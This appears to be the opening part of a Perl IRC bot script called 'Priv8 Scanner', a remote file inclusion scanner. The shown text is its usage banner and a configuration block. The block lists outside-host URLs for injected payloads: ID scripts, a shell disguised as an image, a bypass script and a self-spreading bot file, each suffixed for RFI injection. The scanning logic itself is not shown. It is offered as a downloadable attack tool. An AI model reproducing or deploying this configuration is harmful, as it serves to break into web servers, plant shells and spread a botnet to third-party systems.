Rfi scaner

#!/usr/bin/perl
print('
##################################
#          Priv8 Scanner         #
##################################
');
######################################################
## Usage:                                           ##
##   perl file.txt <chan> <server> <port>           ##
## Notes:                                           ##
## + All Parameters are optional                    ##
######################################################
use strict;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;

my $versi   = "v1.0";
my $cmdpre  = "~";

##[ KONFIGURASI URL ]##
my $zfxid  = "http://kcbschicago.com/bbs/idxx.txt??";
my $zfxid2 = "http://kcbschicago.com/bbs/id2.txt??";
my $fx29sh  = "http://kcbschicago.com/bbs/fx.png??";
my $bypass  = "http://panzerelite.ru/forum/interface/board/modules/bp.php";
my $pbot    = "http://kcbschicago.com/bbs/pbotz.txt??";
my $thebot  = "http://kcbschicago.com/bbs/pbotz.txt";
my $cbot    = "http://kcbschicago.com/bbs//pbotz.txt";
my $botscan = "http://kcbschicago.com/bbs/pbotz.txt";
my $botedan = "http://kcbschicago.com/bbs/pbotz.txt";

##[ KONFIGURASI SOURCE ]##
my $mysite  = "http://www.nepalnews.com/archive/2009/apr/wam";
my $spread  = "http://kcbschicago.com/bbs/pbotz.txt";
my $joomlaz = "http://kcbschicago.com/bbs/pbotz.txt";

Download